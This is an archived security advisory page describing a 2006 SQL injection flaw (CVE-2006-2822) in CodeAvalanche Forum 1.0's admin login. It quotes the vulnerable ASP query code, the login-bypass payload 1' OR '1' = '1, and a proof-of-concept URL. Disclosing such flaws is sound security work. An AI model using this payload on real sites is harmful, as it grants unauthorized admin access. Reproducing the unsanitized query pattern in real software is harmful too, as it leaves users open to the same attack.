SecurityReason.com - Our Reason is

Security

Register | Forget Password | Login
SecurityReason
WLB
Services
RSS
Corporate
Note

If you have found a vulnerability, please send to our SecurityAlert Database :
secalert()securityreason()com

Also if you have new ( 0-day ) exploit, please send to our ExploitAlert Archive :
exploit()securityreason()com

Home arrow SecurityAlert Database

Arrow  Topic :

CA Forum Remote SQL Injection


Arrow  SecurityAlert : 1026
Arrow  CVE : CVE-2006-2822
Arrow  SecurityRisk : Medium  Security Risk Medium  (About)
Arrow  Remote Exploit : Yes
Arrow  Local Exploit : No
Arrow  Exploit Available : Yes
Arrow  Credit : omnipresent email it
Arrow  Published : 06.06.2006

Arrow  Affected Software : CAForum 1.0



Arrow  Advisory Content :  

------------------------------------------------------------------

- CAForum 1.0 Remote SQL Injection -

-= http://colander.altervista.org/advisory/CAForum.txt =-

------------------------------------------------------------------

-= CodeAvalanche Forum Version 1.0 =-

Omnipresent

june 01, 2006

Vunerability(s):

----------------

SQL Injection

Product:

--------

CodeAvalanche Forum Version 1.0

Vendor:

--------

http://www.truecontent.info/codeavalanche/asp-forum-script.php

Description of product:

-----------------------

CodeAvalanche FreeForum is asp forum application which allows free posting,
there is no needs for registration of your

visitors. Administrator can add unlimited number of forum categories.

Vulnerability / Exploit:

------------------------

In the file default.asp in Admin directory is vulnerable to an Remote SQL
Injection Attack.

A malicious people can gain Admin rights by putting rights parameters in
the Password Variable.

Let's Check the source code:

<% Response.Buffer = True

userLogged=false

If Request("Password")<>"" Then

'response.Write(Request("Password"))

'response.flush

dim rsUser,selectSQL

selectSQL="SELECT * FROM PARAMS where PASSWORD='" & Request("Password") &
"'"

[...]

[End default.asp]

As you can see the variable Password is not properly sanitized before be
used, so an attacker can put this string in the

password field:

1' OR '1' = '1

So, the query will be:

selectSQL="SELECT * FROM PARAMS where PASSWORD='1' OR '1' = '1'

And you can gain access to the application with admin rights.

PoC / Proof of Concept of SQL Injection:

----------------------------------------

This is a simple Proof Of Concept used on my local machine:

http://127.0.0.1/[Application_Path]/[CAForum]/admin/default.asp?password
=1'%20OR%20'1'%20=%20'1

Vendor Status

-------------

Not informed!

Credits:

--------

omnipresent

omnipresent (at) email (dot) it [email concealed]





Arrow  Feedback :

If you have additional information or notice any errors regarding this security advisory, please use contact form or email us at info()securityreason()com.
Alert

libc:fts_*() Multiple Denial of Service

Security Risk Medium- 2009-10-02

The fts functions are provided for traversing UNIX file hierarchies...

Apache RSS Apache Alert

» Apache 1.3.41 mod_proxy
   Integer overflow (code
   execution)

» Apache Tomcat 6.0.20 and
   5.5.28 unexpected file
   deletion in work
   directory

» Apache Tomcat 6.0.20 and
   5.5.28 insecure partial
   deploy after failed
   undeploy

» Apache Tomcat 6.0.20 and
   5.5.28 unexpected file
   deletion and/or
   alteration

PHP RSS PHP Alert

» PHP 5.2.12/5.3.1
   session.save_path
   safe_mode and
   open_basedir bypass

» PHP 5.2.12/5.3.1 Multiple
   Vulnerabilities

» PHP 5.2.11 libgd multiple
   vulnerabilities

» PHP 5.2.11 tempnam()
   safe_mode bypass

Copyright © SecurityReason.com. All Rights Reserved.